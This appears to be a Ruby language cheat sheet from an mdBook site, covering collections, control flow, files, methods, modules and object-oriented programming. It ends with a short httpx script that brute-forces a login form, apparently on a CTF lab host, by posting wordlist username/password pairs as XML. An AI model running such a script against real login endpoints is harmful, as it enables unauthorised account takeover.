</code></pre>
<h3 id="shorthand-assignment"><a class="header" href="#shorthand-assignment">Shorthand assignment</a></h3>
<pre><code class="language-ruby">a += b # a = a + b
a -= b # a = a - b
a *= b # a = a * b
a /= b # a = a / b
a %= b # a = a % b
a **= b # a = a**b
</code></pre>
<h3 id="parallel-assignment"><a class="header" href="#parallel-assignment">Parallel assignment</a></h3>
<pre><code class="language-ruby">a, b, c = 11, 22, 33
</code></pre>
<h3 id="input"><a class="header" href="#input">Input</a></h3>
<pre><code class="language-ruby">input = gets
</code></pre>
<h3 id="collections"><a class="header" href="#collections">Collections</a></h3>
<pre><code class="language-ruby">#Array
# Basics
peoples = [&quot;Alice&quot;, &quot;Bob&quot;, &quot;Eve&quot;]
=&gt; [&quot;Alice&quot;, &quot;Bob&quot;, &quot;Eve&quot;]
peoples[0]
=&gt; &quot;Alice&quot;
peoples[1]
=&gt; &quot;Bob&quot;
peoples[-1]
=&gt; &quot;Eve&quot;
# Adding elements
foo = [42, &quot;Cindy&quot;, 0.02, true]
=&gt; [42, &quot;Cindy&quot;, 0.02, true]
foo &lt;&lt; 'd'
=&gt; [42, &quot;Cindy&quot;, 0.02, true, &quot;d&quot;]
foo.push(1337)
=&gt; [42, &quot;Cindy&quot;, 0.02, true, &quot;d&quot;, 1337]
foo.insert(2, 0.05)
=&gt; [42, &quot;Cindy&quot;, 0.05, 0.02, true, &quot;d&quot;, 1337]
# Removing elements
foo.pop
=&gt; 1337
foo
=&gt; [42, &quot;Cindy&quot;, 0.05, 0.02, true, &quot;d&quot;]
foo.delete_at(2)
=&gt; 0.05
foo
=&gt; [42, &quot;Cindy&quot;, 0.02, true, &quot;d&quot;]
# Display
puts foo
42
Cindy
0.02
true
d
=&gt; nil
print foo
[42, &quot;Cindy&quot;, 0.02, true, &quot;d&quot;]=&gt; nil
# Array Ranges
alph = ['a', 'c', 'z', 'e']
=&gt; [&quot;a&quot;, &quot;c&quot;, &quot;z&quot;, &quot;e&quot;]
alph[1..3]
=&gt; [&quot;c&quot;, &quot;z&quot;, &quot;e&quot;]


# Combining arrays
x = [41, 53]
=&gt; [41, 53]
y = [72, 16, 133]
=&gt; [72, 16, 133]
res = x + y
=&gt; [41, 53, 72, 16, 133]
res = y + x
=&gt; [72, 16, 133, 41, 53]
z = [16, 41, 55]
=&gt; [16, 41, 55]
res - z
=&gt; [72, 133, 53]
# Boolean operations
x
=&gt; [41, 53]
z
=&gt; [16, 41, 55]
x &amp; z
=&gt; [41]
x | z
=&gt; [41, 53, 16, 55]
# Moving elements
z.reverse
=&gt; [55, 41, 16]
z
=&gt; [16, 41, 55]
z.reverse!
=&gt; [55, 41, 16]
z
=&gt; [55, 41, 16]
# Array methods
z.length
=&gt; 3
z.size
=&gt; 3
z.sort
=&gt; [16, 41, 55]
c = [42, 42, 75, 42]
=&gt; [42, 42, 75, 42]
c.uniq
=&gt; [42, 75]
z.freeze # prevent from being modified, there is no unfreeze method
=&gt; [55, 41, 16]
z.pop
RuntimeError: can't modify frozen Array
	from (irb):96:in 'pop'
	from (irb):96
	from /usr/bin/irb:11:in `&lt;main&gt;'
z.frozen?
=&gt; true
z.include?(55)
=&gt; true
z.include?(56)
=&gt; false
z.min
=&gt; 16
z.max
=&gt; 55
</code></pre>
<h3 id="hashes-and-symbols"><a class="header" href="#hashes-and-symbols">Hashes and symbols</a></h3>
<pre><code class="language-ruby"># String as key
grades = {&quot;Paul&quot; =&gt; 17, &quot;Virginia&quot; =&gt; 18, &quot;Seb&quot; =&gt; 15}
=&gt; {&quot;Paul&quot;=&gt;17, &quot;Virginia&quot;=&gt;18, &quot;Seb&quot;=&gt;15}
grades[&quot;Seb&quot;]
=&gt; 15
# Symbols as key
identity = {:name =&gt; &quot;Alex&quot;, :age =&gt; 22, :sex =&gt; &quot;male&quot;}
=&gt; {:name=&gt;&quot;Alex&quot;, :age=&gt;22, :sex=&gt;&quot;male&quot;}
identity[:name]
=&gt; &quot;Alex&quot;
# Symbols as key (shorter syntax)
rock = {name: &quot;ruby&quot;, color: &quot;red&quot;}
=&gt; {:name=&gt;&quot;ruby&quot;, :color=&gt;&quot;red&quot;}
rock[:name]
=&gt; &quot;ruby&quot;
# Some methods
identity.delete(:age)
=&gt; 22
grades.key(18)
=&gt; &quot;Virginia&quot;
grades.invert
=&gt; {17=&gt;&quot;Paul&quot;, 18=&gt;&quot;Virginia&quot;, 15=&gt;&quot;Seb&quot;}
no = {a: 42, b: 42, c: 42}
=&gt; {:a=&gt;42, :b=&gt;42, :c=&gt;42}
no.invert
=&gt; {42=&gt;:c} # Don't forget the key needs to be unique
rock.keys
=&gt; [:name, :color]
rock.values
=&gt; [&quot;ruby&quot;, &quot;red&quot;]
rock.length
=&gt; 2
</code></pre>
<h3 id="nested-arrays-and-hashes"><a class="header" href="#nested-arrays-and-hashes">Nested arrays and hashes</a></h3>
<pre><code class="language-ruby"># Nested arrays
nest = [[10,11,12], ['a','b','c']]
=&gt; [[10, 11, 12], [&quot;a&quot;, &quot;b&quot;, &quot;c&quot;]]
nest[1]
=&gt; [&quot;a&quot;, &quot;b&quot;, &quot;c&quot;]
nest[0][2]
=&gt; 12
# Nested hashes
albums = {:&quot;2010&quot; =&gt; {:artist =&gt; &quot;The Glitch Mob&quot;, :title =&gt; &quot;Drink The Sea&quot;}, :&quot;2011&quot; =&gt; {:artist =&gt; &quot;Cryptex&quot;, :title =&gt; &quot;Isolated Incidents&quot;}}
=&gt; {:&quot;2010&quot;=&gt;{:artist=&gt;&quot;The Glitch Mob&quot;, :title=&gt;&quot;Drink The Sea&quot;}, :&quot;2011&quot;=&gt;{:artist=&gt;&quot;Cryptex&quot;, :title=&gt;&quot;Isolated Incidents&quot;}}
albums[:&quot;2011&quot;][:artist]
=&gt; &quot;Cryptex&quot;
</code></pre>
<h3 id="iterators"><a class="header" href="#iterators">Iterators</a></h3>
<pre><code class="language-ruby"># Range iterator
(1..26).each do |i|
  puts i
end

# Array iterator
letters = ('a'..'z').to_a
alphabet = String.new
letters.each do |c|
  alphabet += c
end

# Hash iterator
num = {one: 1, two: 2, three: 3}
num.each do |k,v|
  puts &quot;#{k}: #{v}&quot;
end
num.each {|k,v| puts &quot;#{k}: #{v}&quot;}
num.each do |k,v| puts &quot;#{k}: #{v}&quot; end

# times iterator
7.times do
  print &quot;7&quot;
end

# Iterator with index
arr = [&quot;red&quot;, &quot;blue&quot;, &quot;green&quot;]
arr.each_with_index do |color, index| puts &quot;#{index}: #{color}&quot; end
</code></pre>
<h3 id="equality"><a class="header" href="#equality">Equality</a></h3>
<pre><code class="language-ruby">42 == 42.0 # equal values
=&gt; true
42.eql?(42.0) # equal values and same type
=&gt; false
</code></pre>
<h3 id="subsumption包容"><a class="header" href="#subsumption包容">Subsumption(包容)</a></h3>
<pre><code class="language-ruby">42 === (10..100)
=&gt; false
42 === (50..100)
=&gt; false
(10..100) === 42(因为10..100之间存在42因此true)
=&gt; true
(50..100) === 42
=&gt; false
Integer === 42
=&gt; true
Integer === 'string'
=&gt; false
42 === Integer
=&gt; false
/at/ === 'Hi mate'
=&gt; true
/at/ === 'Hello'
=&gt; false
'Hi mate' === /at/
=&gt; false
</code></pre>
<h3 id="ifelsifelse-statement"><a class="header" href="#ifelsifelse-statement">if/elsif/else statement</a></h3>
<pre><code class="language-ruby">val = 1337
if val == 42
  puts &quot;That's always true&quot;
elsif val == 1000
  puts &quot;Nearly right&quot;
elsif val == 1300
  puts &quot;Even closer&quot;
else
  puts &quot;Nah!!&quot;
end
# ouput: Nah!
</code></pre>
<h3 id="unless-statementunless-executes-a-block-of-code-only-if-the-condition-is-false"><a class="header" href="#unless-statementunless-executes-a-block-of-code-only-if-the-condition-is-false">unless statement(unless executes a block of code only if the condition is false.)</a></h3>
<pre><code class="language-ruby">val = 1337
unless val == 1337
  puts &quot;Your're the elite!&quot;
else
  puts &quot;Master!&quot;
end
# output: Master!
</code></pre>
<h3 id="logical-operators"><a class="header" href="#logical-operators">Logical operators</a></h3>
<pre><code class="language-ruby">&amp;&amp; =&gt; and
|| =&gt; or
!  =&gt; not
</code></pre>
<h3 id="case-statement"><a class="header" href="#case-statement">case statement</a></h3>
<pre><code class="language-ruby">a = 10
case a
when 1
  puts 'One'
when 2
  puts 'Two'
when 5
  puts 'Five'
when 10
  puts 'Ten'
when 42, 1337, 31337
  puts 'Master!'
else
  puts 'Nah!'
end
# output: Ten
</code></pre>
<h3 id="while-loop"><a class="header" href="#while-loop">while loop</a></h3>
<pre><code class="language-ruby">a = 0
while a &lt;= 5
  puts a
  a += 1
end
</code></pre>
<h3 id="until-loop"><a class="header" href="#until-loop">until loop</a></h3>
<pre><code class="language-ruby">a = 0
until a &gt; 5
  puts a
  a += 1
end
</code></pre>
<h3 id="ranges"><a class="header" href="#ranges">Ranges</a></h3>
<pre><code class="language-ruby">(41..43).to_a
=&gt; [41, 42, 43]
(41...43).to_a
=&gt; [41, 42]
('m'..'o').to_a
=&gt; [&quot;m&quot;, &quot;n&quot;, &quot;o&quot;]
('y'..'b').to_a
=&gt; []
</code></pre>
<h3 id="for-loop"><a class="header" href="#for-loop">for loop</a></h3>
<pre><code class="language-ruby">for i in (1..10)
  puts &quot;i: #{i}&quot;
end
</code></pre>
<h3 id="break"><a class="header" href="#break">break</a></h3>
<pre><code class="language-ruby">for i in (1..10)
  break if i &gt; 5
  puts &quot;i: #{i}&quot;
end
</code></pre>
<h3 id="next-if"><a class="header" href="#next-if">next if</a></h3>
<pre><code class="language-ruby">for i in (1..10)
  next if i % 2 == 0 #(if is false execute)
    puts &quot;i: #{i}&quot;
end
</code></pre>
<h3 id="next-unless"><a class="header" href="#next-unless">next unless</a></h3>
<pre><code class="language-ruby">numbers = [1, 2, 3, 4, 5]

numbers.each do |num|
  next unless num.odd?
  puts num
end
</code></pre>
<h3 id="loop-do"><a class="header" href="#loop-do">loop do</a></h3>
<pre><code class="language-ruby">a = 0
loop do
  puts a
  a += 1
  break if a &gt; 10
end
</code></pre>
<h2 id="files"><a class="header" href="#files">Files</a></h2>
<h3 id="creating-and-opening-files"><a class="header" href="#creating-and-opening-files">Creating and opening files</a></h3>
<pre><code class="language-ruby"># Create a file
file = File.new(&quot;newfile.txt&quot;, &quot;w+&quot;)
file.close

# File modes
# **r**, read-only, starts at the beginning
# **r+**, read-write, starts at the beginning
# **w**, write-only, override existing files or creates a new file
# **w+**, read-write, override existing files or creates a new file
# **a**, write-only, appends to the end of existing file or creates a new file
# **a+**, read-write, appends or reads to the end of existing file or creates a new file

# Open an existing file
file = File.open('filename.txt', 'w+')
file.close
</code></pre>
<h3 id="reading-and-writing-files"><a class="header" href="#reading-and-writing-files">Reading and writing files</a></h3>
<pre><code class="language-ruby"># Write into a file
file = File.new(&quot;newfile.txt&quot;, &quot;w+&quot;)
file.puts(&quot;some text&quot;) # add line break \n
file.write(&quot;some other&quot;) # no line break
file.close

# File block
File.open(&quot;test.txt&quot;, &quot;w+&quot;) do |file|
    file.puts(&quot;test&quot;)
end # auto-close

# Read the entire content of a file
puts File.read(&quot;file.txt&quot;)

# Read a file line by line
File.readlines(&quot;file.txt&quot;).each do |line|
    puts &quot;&gt; #{line}&quot;
end
</code></pre>
<h3 id="deleting-files"><a class="header" href="#deleting-files">Deleting files</a></h3>
<pre><code class="language-ruby"># Delete a file permanently
File.delete(&quot;file.txt&quot;)

# Check file existence
File.open(&quot;test.txt&quot;) if File.file?(&quot;test.txt&quot;)
</code></pre>
<h3 id="file-information"><a class="header" href="#file-information">File information</a></h3>
<pre><code class="language-ruby"># Size of a file
f1 = File.new(&quot;test1.txt&quot;, &quot;w&quot;)
f1.puts(&quot;this is a test&quot;)
f1.size # return 15, need open stream
f1.close

# Check if empty
File.zero?(&quot;test1.txt&quot;) # return false

# Check permissions
File.readable?(&quot;test1.txt&quot;) # return: true
File.writable?(&quot;test1.txt&quot;) # return: true
File.executable?(&quot;test1.txt&quot;) # return: false
</code></pre>
<h2 id="methods"><a class="header" href="#methods">Methods</a></h2>
<h3 id="defining-and-calling"><a class="header" href="#defining-and-calling">Defining and calling</a></h3>
<pre><code class="language-ruby">def hi
    puts &quot;Hi!!&quot;
end

hi
=&gt; Hi!!
</code></pre>
<h3 id="method-parameters"><a class="header" href="#method-parameters">Method parameters</a></h3>
<pre><code class="language-ruby">def hi(name)
    puts &quot;Hi #{name}&quot;
end

hi(&quot;Tim&quot;)
=&gt; Hi Tim
</code></pre>
<h3 id="default-and-optional-parameters"><a class="header" href="#default-and-optional-parameters">Default and optional parameters</a></h3>
<pre><code class="language-ruby"># Default parameters
def hi(name=&quot;&quot;)
    puts &quot;Hi #{name}&quot;
end

hi
=&gt; Hi
hi(&quot;Roger&quot;)
=&gt; Hi Roger

# Without parentheses
def sum x,y
    puts x+y
end

sum 3,9
=&gt; 12

# Optional parameters
def method(*arg)
    puts arg
end

method(1)
=&gt; 1
method(1,&quot;toto&quot;)
=&gt; 1
=&gt; toto
</code></pre>
<h3 id="return-values-from-methods"><a class="header" href="#return-values-from-methods">Return values from methods</a></h3>
<pre><code class="language-ruby">def min(arr)
    return arr.min
end

min([1,5,2,6])
=&gt; 1

# Default return
def append(text)
    text = &quot;#{text}!!!&quot;
end

append(&quot;magic&quot;)
=&gt; &quot;magic!!!&quot;

# Return array
def sqr(x,y,z)
    return x**2,y**2,z**2
end

sqr(2,7,9)
=&gt; [4, 49, 81]

# Chaining methods
[8,5,9,4.5,7].min.**(2).ceil
=&gt; 21

# Methods as argument
def reverse(text)
    text.reverse
end

def print_reverse(text)
    &quot;Reverse: #{text}&quot;
end

print_reverse(reverse(&quot;some text&quot;))
=&gt; &quot;Reverse: txet emos&quot;
</code></pre>
<h3 id="variable-scope"><a class="header" href="#variable-scope">Variable scope</a></h3>
<pre><code class="language-ruby"># Local variables
def add(x,y)
    x + y
end
puts y
# output: undefined local variable or method `y' for main:Object (NameError)

# Global variables
$y = 12
def add(x)
    x + $y
end
puts add(7)
# output: 19
</code></pre>
<h3 id="recursion递归"><a class="header" href="#recursion递归">Recursion(递归)</a></h3>
<pre><code class="language-ruby">def fact(n)
    if n &lt;= 1
        1
    else
        n * fact(n - 1)
    end
end

irb(main):008:0&gt; fact(5)
=&gt; 120

# infinite recursion
def fact(n)
    n * fact(n - 1)
end

irb(main):012:0&gt; fact(5)
SystemStackError: stack level too deep
</code></pre>
<h2 id="modules-mixins-and-standard-classes"><a class="header" href="#modules-mixins-and-standard-classes">Modules, mixins and standard classes</a></h2>
<h3 id="modules-and-mixins"><a class="header" href="#modules-and-mixins">Modules and mixins</a></h3>
<pre><code class="language-ruby"># Include vs extend
# an example from  John Nunemaker @ http://www.railstips.org/blog/archives/2009/05/15/include-vs-extend-in-ruby/
module Foo
  def foo
    puts 'heyyyyoooo!'
  end
end

class Bar
  include Foo
end

Bar.new.foo # heyyyyoooo!
Bar.foo # NoMethodError: undefined method ‘foo’ for Bar:Class

class Baz
  extend Foo
end

Baz.foo # heyyyyoooo!
Baz.new.foo # NoMethodError: undefined method ‘foo’ for #&lt;Baz:0x1e708&gt;

# Module mixins example
module PiMath
    def pisqr
        Math::PI**2
    end
end

class CosWrapper
    def self.cos
        # accessible only for classes which define number method
        # number alone is ambiguous because it can refer to self.number or self.class.number
        Math::cos(self.class.number)
    end
end

class PiPowa &lt; CosWrapper
    extend PiMath
    def self.number
        self.pisqr
    end
end

class EPowa &lt; CosWrapper
    def self.esqr
        Math::E**2
    end
    def self.number
        self.esqr
    end
end

class Somenumber
    attr_reader :mynumber
    def initialize(x)
        @mynumber = self.pisqr * x
    end
    protected
    include PiMath
end

puts PiPowa.pisqr # output: 9.869604401089358
puts PiPowa.number # output: 9.869604401089358
puts PiPowa.cos # output: -0.9026853619330714
puts EPowa.esqr # output: 7.3890560989306495
puts EPowa.number # output: 7.3890560989306495
puts EPowa.cos # output: 0.44835624181873357
s = Somenumber.new(7)
puts s.mynumber # output: 69.0872308076255
puts CosWrapper.cos # output: NameError: undefined local variable or method `number' for CosWrapper:Class

# Auto extend when included
# an example from  John Nunemaker @ http://www.railstips.org/blog/archives/2009/05/15/include-vs-extend-in-ruby/
module Foo
  def self.included(base)
    base.extend(ClassMethods)
  end

  module ClassMethods
    def bar
      puts 'class method'
    end
  end

  def foo
    puts 'instance method'
  end
end

class Baz
  include Foo
end

Baz.bar # class method
Baz.new.foo # instance method
Baz.foo # NoMethodError: undefined method ‘foo’ for Baz:Class
Baz.new.bar # NoMethodError: undefined method ‘bar’ for #&lt;Baz:0x1e3d4&gt;

# Example of a mixin interacting with a class
class Character
    attr_accessor :name
    include Comparable
    def initialize(name)
        @name = name
    end
    def &lt;=&gt;(other)
        self.name &lt;=&gt; other.name
    end
end

c1 = Character.new(&quot;Toto&quot;)
c2 = Character.new(&quot;Tata&quot;)

puts c1 &gt; c2 # ouput: true
</code></pre>
<h3 id="namespacing"><a class="header" href="#namespacing">Namespacing</a></h3>
<pre><code class="language-ruby"># Group classes
module Pets
    class Dog
        def bark
            puts &quot;Woof!&quot;
        end
    end
    class Cat
        def meow
            puts &quot;Meow!&quot;
        end
    end
end

d = Pets::Dog.new
c = Pets::Cat.new

d.bark
c.meow

# Group methods
module MoreMath
    def self.recadd(n)
        (n * (n + 1)) / 2
    end
    def self.factorial(n)
        (1..n).reduce(:*) || 1
    end
end

MoreMath.recadd(7) # output: 28
</code></pre>
<h3 id="structs"><a class="header" href="#structs">Structs</a></h3>
<pre><code class="language-ruby"># Simple struct
Point = Struct.new(:x,:y)
a = Point.new(1,5)
b = Point.new(7,-2)
puts a.y # output: 5
a.x = 2

#OpenStruct (OStruct) is similar to Struct but doesn't require to define attributes.
#The drawback is that OpenStruct is slower than Struct.
require 'ostruct'

employee = OpenStruct.new
employee.name = &quot;Antony&quot;
employee.job = &quot;Engineer&quot;
employee.salary = 2100

puts employee.job # output: Engineer

# Initialize an OpenStruct with a hash
require 'ostruct'

employee = OpenStruct.new(name: &quot;Antony&quot;, job: &quot;Engineer&quot;, salary: 2100)

puts employee.job # output: Engineer
</code></pre>
<h3 id="math-and-time"><a class="header" href="#math-and-time">Math and Time</a></h3>
<pre><code class="language-ruby"># square root
puts Math.sqrt(16)

# pi constant
puts Math::PI

# trigonometry
puts Math::tan(0)

# current time
t = Time.now
puts t

# year, month, day
puts t.year
puts t.month
puts t.day

# custom date
t = Time.new(1994,04,22)

# day of the week (0-6)
puts t.wday

# day of the year
puts t.yday
</code></pre>
<h3 id="procs"><a class="header" href="#procs">Procs</a></h3>
<p>Procs are object so they can be passed into methods.</p>
<pre><code class="language-ruby"># Simple proc
hello = Proc.new do |someone|
    puts &quot;Hi #{someone}&quot;
end

hello.call &quot;Tristan&quot;
hello.call(&quot;David&quot;)

# Procs passed into methods
goodbye = Proc.new do |someone|
    puts &quot;Bye #{someone}&quot;
end

def say(arr, proc)
    arr.each {|person| proc.call person}
end

people = [&quot;Tristan&quot;, &quot;David&quot;, &quot;Ophelia&quot;]
say(people, hello)
say(people,goodbye)

# Proc example
def calc_time(proc, n)
    start = Time.now
    proc.call n
    duration = Time.now - start
end

myProc = Proc.new do |n|
    (1..n).reduce(:*) || 1
end

puts calc_time(myProc, 99999) # output: 3.382078767
</code></pre>
<h3 id="lambdas"><a class="header" href="#lambdas">Lambdas</a></h3>
<pre><code class="language-ruby"># Lambda / anonymous function
l = lambda {puts &quot;stuff&quot;}
l2 = -&gt;() {puts &quot;stuff2&quot;}
l.call
l2.call

# Lambda vs proc
# with proc, arguments are not mandatory(强制性的)
my_lambda = lambda {|arg| puts &quot;Hi #{arg}&quot;}
my_proc = Proc.new {|arg| puts &quot;Hi #{arg}&quot;}
my_lambda.call # output: ArgumentError: wrong number of arguments (given 0, expected 1)
my_proc.call # output: Hi

# Lambda vs proc
# When return is encountered, proc quite the enclosing method, lambda doesn't
def say(arr)
    p = goodbye = Proc.new do |someone|
        puts &quot;Bye #{someone}&quot;
        return &quot;proc return&quot;
    end
    p.call arr.join(&quot;, &quot;)
    puts &quot;not displayed&quot;
end
people = [&quot;Tristan&quot;, &quot;David&quot;, &quot;Ophelia&quot;]
say(people)
# output: Bye Tristan, David, Ophelia
# =&gt; &quot;proc return&quot;
def say2(arr)
    l = lambda do |someone|
        puts &quot;Bye #{someone}&quot;
        return &quot;lambda return&quot;
    end
    l_ret = l.call arr.join(&quot;, &quot;)
    puts &quot;this is displayed: #{l_ret}&quot;
end
say2(people)
# output: Bye Tristan, David, Ophelia
# output: this is displayed: lambda return
# =&gt; nil
</code></pre>
<h2 id="object-oriented-programming"><a class="header" href="#object-oriented-programming">Object oriented programming</a></h2>
<h3 id="classes-and-objects"><a class="header" href="#classes-and-objects">Classes and objects</a></h3>
<pre><code class="language-ruby"># Initialization
class Person
  def initialize
    puts &quot;My name ise no one!&quot;
  end
end

irb(main):020:0&gt; Person.new
My name ise no one!
</code></pre>
<h3 id="instance-variables"><a class="header" href="#instance-variables">Instance variables</a></h3>
<pre><code class="language-ruby"># Instance variables
class Color
    @color = &quot;no color&quot;
    def initialize(color)
        @color = color
    end
end

y = Color.new(&quot;yellow&quot;)
g = Color.new(&quot;green&quot;)
``` Instance methods and accessors
### 
```ruby
# Accessors
class Person
    def initialize(name)
        @name = name
    end
    # Getter
    def get_name
        @name
    end
    # Setter
    def set_name(name)
        @name = name
    end
end

irb(main):039:0&gt; p = Person.new(&quot;Nicolas&quot;)
=&gt; #&lt;Person:0x000056328b740568 @name=&quot;Nicolas&quot;&gt;
irb(main):040:0&gt; p.get_name
=&gt; &quot;Nicolas&quot;
irb(main):055:0&gt; p.set_name(&quot;Phil&quot;)
=&gt; &quot;Phil&quot;
irb(main):056:0&gt; p.get_name
=&gt; &quot;Phil&quot;

# Setter helper
class Person
    def set_name=(name)
        @name = name
    end
end

irb(main):063:0&gt; p = Person.new(&quot;Alexia&quot;)
=&gt; #&lt;Person:0x000056328bbd4cc8 @name=&quot;Alexia&quot;&gt;
irb(main):064:0&gt; p.set_name = &quot;Alexandra&quot;
=&gt; &quot;Alexandra&quot;
</code></pre>
<h3 id="accessor-methods"><a class="header" href="#accessor-methods">Accessor methods</a></h3>
<pre><code class="language-ruby">class Person
    attr_reader :name   # getter
    attr_writer :age    # setter (with =)
    attr_accessor :surname, :nick   # setter (with =) + getter
    def initialize(name, age, surname)
        @name = name
        @age = age
        @surname = @nick = surname
    end
end

irb(main):075:0&gt; p = Person.new(&quot;André&quot;, 22, &quot;Dédé&quot;)
=&gt; #&lt;Person:0x000056328bba43e8 @name=&quot;André&quot;, @age=22, @nick=&quot;Dédé&quot;, @surname=&quot;Dédé&quot;&gt;
irb(main):076:0&gt; p.name
=&gt; &quot;André&quot;
irb(main):078:0&gt; p.age = 23
=&gt; 23
irb(main):080:0&gt; p.surname = &quot;Dré&quot;
=&gt; &quot;Dré&quot;
irb(main):081:0&gt; p.nick
=&gt; &quot;Dédé&quot;

# Self keyword
class Person
    attr_reader :age
    attr_accessor :birth
    def initialize(birth)
        @birth = birth
        @age = 2017 - birth.to_i
    end

=begin attr_accessor :birth
    def birth
        @birth
    end

    def birth=(birth)
        @birth = birth
    end
=end

    def modify=(birth)
        # birth = birth? local argument = local argument or birth sugar setter with birth local argument?
        self.birth = birth # self refer to the public instance method
        @age = 2017 - birth.to_i
    end
end

irb(main):032:0&gt; p = Person.new(1985)
=&gt; #&lt;Person:0x000055ab32ed0d90 @birth=1985, @age=32&gt;
irb(main):033:0&gt; p.age
=&gt; 32
irb(main):034:0&gt; p.modify = 1990
=&gt; 1990
irb(main):035:0&gt; p.age
=&gt; 27

# self ambiguity
class WhereDoesItComeFrom
    def self.from
        puts &quot;class method&quot;
    end
    def from
        puts &quot;instance method&quot;
    end
    def which
        from # instand method so it will call the *from* instance method
    end
    def self.which
        from # class method so it will call the *from* class method
    end
    def unambiguous
        self.from # call the instance method
        self.class.from # call the class method
    end
    def self.unambiguous
        # self always refer to an instance
        # but `WhereDoesItComeFrom` is an instance of the class `Class`
        self.from # output: class method
        self.class.from # raise an error because `Class.from` doesn't exist
    end
end

WhereDoesItComeFrom.from # output: class method
WhereDoesItComeFrom.new.from # output: instance method
WhereDoesItComeFrom.which # output: class method
WhereDoesItComeFrom.new.which # output: instance method
WhereDoesItComeFrom.unambiguous # output: 1st line: class method, 2nd line: NoMethodError: undefined method `from' for Class:Class
WhereDoesItComeFrom.new.unambiguous # output: 1st line: instance method, 2nd line: class method
</code></pre>
<h2 id="class-methods-and-variables"><a class="header" href="#class-methods-and-variables">Class methods and variables</a></h2>
<pre><code class="language-ruby"># Class methods
class Car
    def self.info
        puts &quot;A car&quot;
    end
end
# When there is no needs to instantiate an object.
irb(main):041:0&gt; Car.info
A car
=&gt; nil

# Class variables
class Animals
    @@number = 0
    def initialize
        @@number += 1
    end

    def self.number
        @@number
    end
end

irb(main):066:0&gt; dog = Animals.new
=&gt; #&lt;Animals:0x000055ab32f47260&gt;
irb(main):067:0&gt; cat = Animals.new
=&gt; #&lt;Animals:0x000055ab32f3a9e8&gt;
irb(main):068:0&gt; snake = Animals.new
=&gt; #&lt;Animals:0x000055ab32c0b358&gt;
irb(main):069:0&gt; Animals.number
=&gt; 3

# Class constants
class Universe
    ANSWER = 42
end

irb(main):073:0&gt; Universe::ANSWER
=&gt; 42
</code></pre>
<h3 id="to_s-method"><a class="header" href="#to_s-method"><code>to_s</code> method</a></h3>
<pre><code class="language-ruby">def Aclass
end

puts Aclass # to_s is automatically called
puts Aclass.to_s
</code></pre>
<h3 id="inheritance"><a class="header" href="#inheritance">Inheritance</a></h3>
<pre><code class="language-ruby">class Language # superclass / base class
    def initialize(style)
        @style = style
    end
    def example
        puts 'printf (&quot;%s&quot;, &quot;Hello world!&quot;)'
    end
end

class Ruby &lt; Language # subclass / derived class
    def example
        puts 'puts &quot;Hello world!&quot;'
    end
end

r = Ruby.new(&quot;OOB&quot;)
r.example
# output : puts &quot;Hello world!&quot;
</code></pre>
<h3 id="super-method"><a class="header" href="#super-method"><code>super</code> method</a></h3>
<pre><code class="language-ruby">class Human
    def speak
        print &quot;I am a human&quot;
    end
end

class Avatar &lt; Human
    def speak
        super
        puts &quot; and I'm blue&quot;
    end
end

a = Avatar.new
a.speak
# output : I am a human and I'm blue

class Vehicle
    def initialize(name)
        @name = name
    end
end

class Car &lt; Vehicle
    def initialize(name,wheels)
        super(name)
        @wheels = wheels
    end
    def to_s
        &quot;My #{@name} has #{@wheels} wheels.&quot;
    end
end

c = Car.new(&quot;Twingo&quot;, 4)
puts c
# output : My Twingo has 4.
</code></pre>
<h3 id="operator-overloading"><a class="header" href="#operator-overloading">Operator overloading</a></h3>
<pre><code class="language-ruby">class Coordinates
    attr_accessor :x, :y
    def initialize(x, y)
        self.x = x
        self.y = y
    end
    def +(obj)
        Coordinates.new(self.x + obj.x, self.y + obj.y)
    end
end

a = Coordinates.new(8,5)
b = Coordinates.new(-1,4)
c = a + b
puts c.x # output: 7
puts c.y # output: 9
</code></pre>
<h2 id="access-modifiers"><a class="header" href="#access-modifiers">Access modifiers</a></h2>
<pre><code class="language-ruby"># private methods
class My_time
    def initialize(hours)
        @hours = hours
    end
    def convert
        # can call private minutes method because we are in the class
        # but not self.minutes because minutes is not public
        puts &quot;#{@hours} hours(s) = #{minutes} minutes = #{seconds} seconds&quot;
    end
    private
    def minutes
        @hours * 60
    end
    def seconds
        @hours * 3600
    end
end

t = My_time.new(24)
t.convert # output: 24 hours(s) = 1440 minutes = 86400 seconds
puts t.minutes # output: NoMethodError: private method `minutes' called for #&lt;My_time:0x000055b311f9df20 @hours=24&gt;

# protected methods
class Thing
    def initialize
        @id = rand(9999)
    end
    def ==(obj)
        # can call protected (private-like) method from the code but are not public
        self.id == obj.id
    end
    protected
    def id
        @id
    end
end

t1 = Thing.new
t2 = Thing.new
puts (t1 == t2)
# output: false
</code></pre>
<h3 id="abstract-classes-and-methods"><a class="header" href="#abstract-classes-and-methods">Abstract classes and methods</a></h3>
<p>Ruby doesn’t have a built-in notion of an abstract method or class.</p>
<p><strong>Note</strong>: it’s advised not to use abstract class without proper error management.</p>
<p>An abstract class is a class that should never be instantiated directly.</p>
<pre><code class="language-ruby"># Abstract class and method
class A
    # abstract class
    def initialize
        raise NotImplementedError
    end
    # abstract method
    def something
        # accessible only for classes which define number method
        puts &quot;number: #{number}&quot;
    end
end

class B &lt; A
    def initialize
        # just need to override parent class
    end
    def number
        4
    end
end

b = B.new
puts b.number # output: 4
puts b.something # output: number: 4
# A.new will raise an error
# if `A` didn't have `raise` in `initialize` method we should have been able to call the
# `something` method but it will have raise an error as the `number` method doesn't exist
# for the `A` class.
</code></pre>
<h3 id="use-httpx"><a class="header" href="#use-httpx">use httpx</a></h3>
<pre><code class="language-ruby">require &quot;httpx&quot;

File.readlines(&quot;wordlist.txt&quot;).each do |user|
  File.readlines(&quot;wordlist1.txt&quot;).each do |pass|
    xml_data = &quot;&lt;user&gt;&lt;username&gt;#{user.strip}&lt;/username&gt;&lt;password&gt;#{pass.strip}&lt;/password&gt;&lt;/user&gt;&quot;
    headers = { &quot;Content-Type&quot; =&gt; &quot;text/xml&quot; }
    response = HTTPX.post(&quot;http://eci-2zeatljaj2gspazb58z0.cloudeci1.ichunqiu.com/doLogin.php&quot;, body: xml_data, headers: headers)
    puts &quot;#{user.strip},#{pass.strip}&quot;
    break if response.to_s.include?(&quot;&lt;code&gt;3&lt;/code&gt;&quot;)
  end
end
</code></pre>

                    </main>

                    <nav class="nav-wrapper" aria-label="Page navigation">
                        <!-- Mobile navigation buttons -->
                            <a rel="prev" href="../../posts/ruby/learn_ruby.html" class="mobile-nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
                                <i class="fa fa-angle-left"></i>
                            </a>

